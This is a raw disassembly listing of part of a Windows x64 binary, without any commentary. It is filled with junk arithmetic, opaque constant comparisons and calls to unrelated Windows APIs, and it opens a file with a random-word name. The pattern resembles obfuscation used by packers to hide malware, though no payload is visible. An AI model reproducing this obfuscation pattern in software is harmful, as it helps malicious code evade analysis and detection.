movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
lea rcx, [rsp + 0x2b8f8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
movsx eax, word [rsp + 0x12d8]
sub eax, 0x9dc
mov word [rsp + 0x12d4], ax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0x12d4]
and eax, 0x5a1a
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sar eax, cl
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x107], al
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
mov eax, dword [rsp + 0x544c]
sub eax, 0x9e
mov dword [rsp + 0x544c], eax
mov edx, 0x6a5503
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5418], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x302d
mov r8d, 0x3394
mov edx, 0x9b
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x5418], eax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xbc70]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xb800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xb800]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
cmp dword [rsp + 0x544c], 0x89d5
jae 0x140006d02
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [0x1402505d0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x323b0], 0x114
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x5410], eax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xbc58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov dword [rsp + 0x54a0], eax
cmp dword [rsp + 0x54a0], 0
je 0x140007263
jmp 0x1402130c2
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0x54a4], eax
cmp dword [rsp + 0x54a4], 0
je 0x14000727e
jmp 0x1400072e5
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x54a8], al
cmp byte [rsp + 0x54a8], 0x14
je 0x14000729c
jmp 0x1400072d8
mov eax, dword [rsp + 0x543c]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xbbb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc70], rax
jmp 0x1400072e3
mov dword [rsp + 0x324d0], 0x114
jmp 0x140007310
mov edx, 0xda
lea rcx, [rsp + 0xbbf0]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0xbc90], rax
movabs rax, 0xaceacac42a24a9e8
cmp qword [rsp + 0xbc90], rax
je 0x14000734d
movabs rax, 0xc6209b3c54599de5
cmp qword [rsp + 0xbc90], rax
je 0x140007370
jmp 0x14021305c
mov rax, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbc58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbd8], rax
jmp 0x14021305c
movsx eax, word [rsp + 0x12d4]
sub eax, 0x4f8e
movsx ecx, word [rsp + 0x12d8]
cmp eax, ecx
jg 0x140212e39
lea rax, [rsp + 0x5480]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
cmp eax, ecx
je 0x140007489
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x54b0], eax
cmp dword [rsp + 0x54b0], 0x1e17
je 0x1400073e6
jmp 0x14000746d
lea rdx, [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbca0]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x54ac], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
movsx eax, word [rsp + 0x12d8]
and eax, 0x14ea
mov word [rsp + 0x12d4], ax
mov r9d, 0x86
mov r8d, reloc.SHELL32.dll_SHUpdateImageW
mov edx, 0x27
mov rcx, qword [rsp + 0xbc00]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov edx, dword [rsp + 0x5480]
movzx ecx, word [rsp + 0x12d8]
call fcn.140213c40
nop
jmp 0x140007489
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x54b4], al
cmp byte [rsp + 0x54b4], 0
je 0x1400074a7
jmp 0x140212c8d
lea rcx, [rsp + 0x2e300]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbca8], rax
movabs rax, 0x318760b192501
cmp qword [rsp + 0xbca8], rax
je 0x140007652
movabs rax, 0x7677cff362382028
cmp qword [rsp + 0xbca8], rax
je 0x1400074fa
jmp 0x140212c67
mov eax, dword [rsp + 0x5488]
mov rcx, qword [rsp + 0xbc98]
mov qword [rsp + 0xbcb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x54b8], al
cmp byte [rsp + 0x54b8], 0x97
je 0x140007548
jmp 0x14000762b
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbbd8]
imul rcx, qword [rsp + 0xb800]
cmp rax, rcx
jb 0x140007614
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rdx, qword [rsp + 0xbcb8]
mov rcx, qword [rsp + 0xbcc0]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xbcc8], rax
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12e0]
sub eax, ecx
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov r8, qword [rsp + 0xbbb8]
mov rdx, qword [rsp + 0xbc20]
mov rax, qword [rsp + 0xbc40]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x140007629
movsx eax, word [rsp + 0x12d8]
sub eax, 0x5635
mov word [rsp + 0x12d4], ax
jmp 0x14000764d
lea r8, [rsp + 0xbcd0]
lea rdx, [rsp + 0x2b8a0]
mov ecx, 0xcb
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x54bc], eax
jmp 0x140212c67
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Paws_agonisesdisconsolatelyTownsmanCuriosity
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbcd8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
nop
mov rax, qword [rsp + 0xbc20]
mov qword [rsp + 0xbce0], rax
cmp qword [rsp + 0xbce0], 0
je 0x1400076b7
jmp 0x140212a94
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x12e0], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5414], eax
mov eax, dword [rsp + 0x5460]
add eax, 0xc9
mov dword [rsp + 0x5460], eax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbc70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
lea rcx, [rsp + 0x2b8d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x5404], eax
xor r9d, r9d
lea r8, [rsp + 0xbc88]
mov rdx, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x549c], eax
mov eax, dword [0x1402505d0]
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x12c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12c0], ax
lea rcx, [rsp + 0xbcf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movsx eax, word [rsp + 0x12d8]
and eax, 0x60eb
mov word [rsp + 0x12d4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4ef5
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5404], eax
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov word [rsp + 0x12c8], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
shl eax, cl
mov word [section..data], ax
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x543c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc20]
movzx ecx, al
mov rax, qword [rsp + 0xbbb8]
sar rax, cl
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
cmp dword [rsp + 0x5460], 0x9746
jbe 0x1400076b7
mov rax, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbc58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov rcx, qword [rcx]
imul rcx, qword [rsp + 0xbbd8]
cmp rax, rcx
jbe 0x1400079e3
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x195]
cmp eax, ecx
je 0x1400079e3
lea rdx, [rsp + 0x44e30]
mov ecx, reloc.SHELL32.dll_ILClone
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x54c0], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x42
mov r9d, 0x88
mov r8d, 0xaa
mov edx, 0xe4
mov ecx, 0x9e
call fcn.140213850
nop
lea rax, [rsp + 0x12e0]
mov qword [rsp + 0xbcf8], rax
movzx ecx, word [rsp + 0x12c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov dword [rsp + 0x54c4], eax
cmp dword [rsp + 0x54c4], 0x1d4
je 0x140007a2a
jmp 0x140007a6a
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [0x1402505d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
jmp 0x140212a2e
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5410], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbbd8], rax
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x5468]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5480]
mov ecx, dword [rsp + 0x5470]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x543c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx ecx, word [rsp + 0x12d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x5418], eax
mov rax, qword [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbc70]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5410], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
lea rdx, [rsp + 0xbc88]
mov rcx, qword [rsp + 0xbcd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x549c], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
and eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5480], eax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xb800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rdx, [rsp + 0xbce8]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x54c8], eax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
sub eax, ecx
mov word [rsp + 0x12c8], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movsx eax, word [rsp + 0x12d8]
sub eax, 0x60af
mov word [rsp + 0x12d4], ax
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x12cc]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
lea rdx, [rsp + 0x5414]
mov rcx, qword [rsp + 0xbcd8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5414], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x5418], eax
mov eax, dword [rsp + 0x5424]
add eax, 0x65
mov dword [rsp + 0x5424], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov edx, 0x5c15b3
mov rcx, qword [rsp + 0xbcd8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x54cc], eax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0xbd00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb800], rax
cmp dword [rsp + 0x5424], 0xc070
jbe 0x140007a6a
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0x54d0], eax
cmp dword [rsp + 0x54d0], 0
je 0x140007e07
jmp 0x1402129b7
cmp dword [rsp + 0x5408], 0xb882
je 0x140008007
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x107], al
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x54cc], eax
movsx eax, word [rsp + 0x12d8]
add eax, 0x5f4f
mov word [rsp + 0x12d4], ax
movzx ecx, word [rsp + 0x12c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402505d0], eax
mov rax, qword [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbc20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xbc70]
mov rcx, qword [rsp + 0xbc20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [0x1402505d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0xbc58]
movzx ecx, al
mov rax, qword [rsp + 0xb800]
shr rax, cl
mov qword [rsp + 0xbbd8], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0xbd08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5408]
add eax, 0x6a
mov dword [rsp + 0x5408], eax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
and eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
jmp 0x140007e07
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbd10], rax
mov dword [rsp + 0x54d4], 0x1c21
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xbc58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xb800]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400081a8
lea rcx, [rsp + 0x2b920]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
add eax, ecx
movzx ecx, word [section..data]
movzx edx, word [rsp + 0x12cc]
and ecx, edx
cmp eax, ecx
jge 0x1400080cd
lea rdx, [rsp + 0x45200]
mov ecx, 0x9f
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0xbc98]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov byte [rsp + 0x54d8], al
cmp byte [rsp + 0x54d8], 0
je 0x140008176
cmp byte [rsp + 0x54d8], 0x6f
je 0x1400080fc
jmp 0x1400081a8
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov eax, dword [rsp + 0x543c]
mov dword [rsp + 0x5468], eax
lea r9, [rsp + 0xbbc0]
lea r8, [rsp + 0xbbd0]
lea rdx, [rsp + 0x2b8b0]
lea rcx, [rsp + 0xbc30]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x54dc], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbbd8], rax
jmp 0x1400081a8
lea rax, [rsp + 0xbc20]
mov qword [rsp + 0xbd18], rax
movzx eax, word [rsp + 0x12d4]
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x196], al
lea rax, [rsp + 0x194]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x54e0], al
cmp byte [rsp + 0x54e0], 0x3d
je 0x1400081f3
jmp 0x14000823b
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x64
mov r9d, 0xa3
mov r8d, 0x72
mov edx, 0xcd
mov ecx, 0xf6
call fcn.140213850
nop
jmp 0x14021284f
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5414], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x5410], eax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbd18]
mov qword [rcx], rax
lea rdx, [rsp + 0xbd28]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x548c], eax
movsx eax, word [rsp + 0x12f0]
movsx ecx, word [rsp + 0x12d8]
and eax, ecx
mov word [rsp + 0x12d4], ax
mov edx, 0x54d024
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x548c], eax
lea rdx, [rsp + 0x5484]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5484], eax
mov dword [rsp + 0x3c6d0], 0x11c
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5484], eax
mov eax, dword [rsp + 0x54d4]
add eax, 0xbc
mov dword [rsp + 0x54d4], eax
lea rcx, [rsp + 0x2e330]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbd30], rax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbc58]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
